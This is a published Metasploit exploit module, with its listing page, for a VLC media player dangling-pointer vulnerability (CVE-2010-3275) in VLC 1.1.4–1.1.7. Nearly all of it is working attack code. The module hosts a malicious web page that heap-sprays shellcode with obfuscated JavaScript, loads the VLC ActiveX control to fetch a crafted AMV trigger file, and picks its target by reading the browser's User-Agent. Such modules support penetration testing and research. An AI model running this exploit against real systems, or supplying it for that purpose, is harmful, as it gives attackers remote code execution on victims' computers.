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VLC AMV Dangling Pointer Vulnerability

VLC AMV Dangling Pointer Vulnerability
Posted Mar 26, 2011
Authored by sinn3r | Site metasploit.com

This Metasploit module exploits VLC media player when handling a .AMV file. By flipping the 0x41st byte in the file format (video width/height), VLC crashes due to an invalid pointer, which allows remote attackers to gain arbitrary code execution. The vulnerable packages include: VLC 1.1.4 VLC 1.1.5 VLC 1.1.6 VLC 1.1.7.

tags | exploit, remote, arbitrary, code execution
advisories | OSVDB-71277
SHA-256 | ad3457b33c1e4c43e6d0a896791081f60a3443611181ae8b714619e73cacfa19

VLC AMV Dangling Pointer Vulnerability

Change Mirror Download
##
# $Id: vlc_amv.rb 12147 2011-03-26 12:05:48Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "VLC AMV Dangling Pointer Vulnerability",
'Description' => %q{
This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st
byte in the file format (video width/height), VLC crashes due to an invalid pointer, which
allows remote attackers to gain arbitrary code execution.

The vulnerable packages include:
VLC 1.1.4
VLC 1.1.5
VLC 1.1.6
VLC 1.1.7
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12147 $",
'Author' =>
[
'sinn3r',
],
'References' =>
[
['CVE', 'CVE-2010-3275'],
['OSVDB', '71277'],
['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],
],
'Payload' =>
{
'BadChars' => "\x00",
'space' => 1000,
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ],
[ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ],
],
'DisclosureDate' => "Mar 23 2011",
'DefaultTarget' => 0))

end

def getRet(cli, request)
if target.name == 'Automatic'

agent = request.headers['User-Agent']

case agent
when /MSIE 6\.0/
return [0x0c0c0c0c].pack('V') * 8
when /MSIE 7\.0/
return [0x1c1c1c1c].pack('V') * 8
when /^vlc/
#VLC identifies itself as "VLC" when requesting our trigger file
return ""
when /^NSPlayer/
#NSPlayer is also used while requesting the trigger file
return ""
else
return nil
end

else

#User manually specified a target
return [target.ret].pack('V') * 8

end
end

def exploit
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv")
f = File.open(path, "rb")
@trigger = f.read
f.close

super
end

def on_request_uri(cli, request)

#Determine if client is a potential victim either manually or automatically,
#and then return the appropriate EIP
nops = getRet(cli, request)
if nops == nil
send_not_found(cli)
return
end

if request.uri.match(/\.amv/)
print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )
return
end

nopsled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

js_func_name = rand_text_alpha(rand(6) + 3)
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
js_var_shell_name = rand_text_alpha(rand(6) + 3)
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
js_var_index_name = rand_text_alpha(rand(6) + 3)
trigger_file = datastore['URIPATH'] + "/" + rand_text_alpha(rand(6) + 3) + ".amv"

html = <<-EOS
<html>
<head>
<script>
function #{js_func_name}() {
var #{js_var_blocks_name} = new Array();
var #{js_var_shell_name} = unescape("#{shellcode}");
var #{js_var_nopsled_name} = unescape("#{nopsled}");
do { #{js_var_nopsled_name} += #{js_var_nopsled_name} } while (#{js_var_nopsled_name}.length < 82000);
for (#{js_var_index_name}=0; #{js_var_index_name} < 3500; #{js_var_index_name}++) {
#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_nopsled_name} + #{js_var_shell_name};
}
}
#{js_func_name}();
</script>
</head>
<body>
<object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
width="0" height="0"
events="True">
<param name="Src" value="#{trigger_file}"></param>
<param name="ShowDisplay" value="False" ></param>
<param name="AutoLoop" value="no"></param>
<param name="AutoPlay" value="yes"></param>
</object>
</body>
</html>
EOS

#Remove extra tabs in HTML
html = html.gsub(/^\t\t/, "")

print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
send_response( cli, html, {'Content-Type' => 'text/html'} )
end
end
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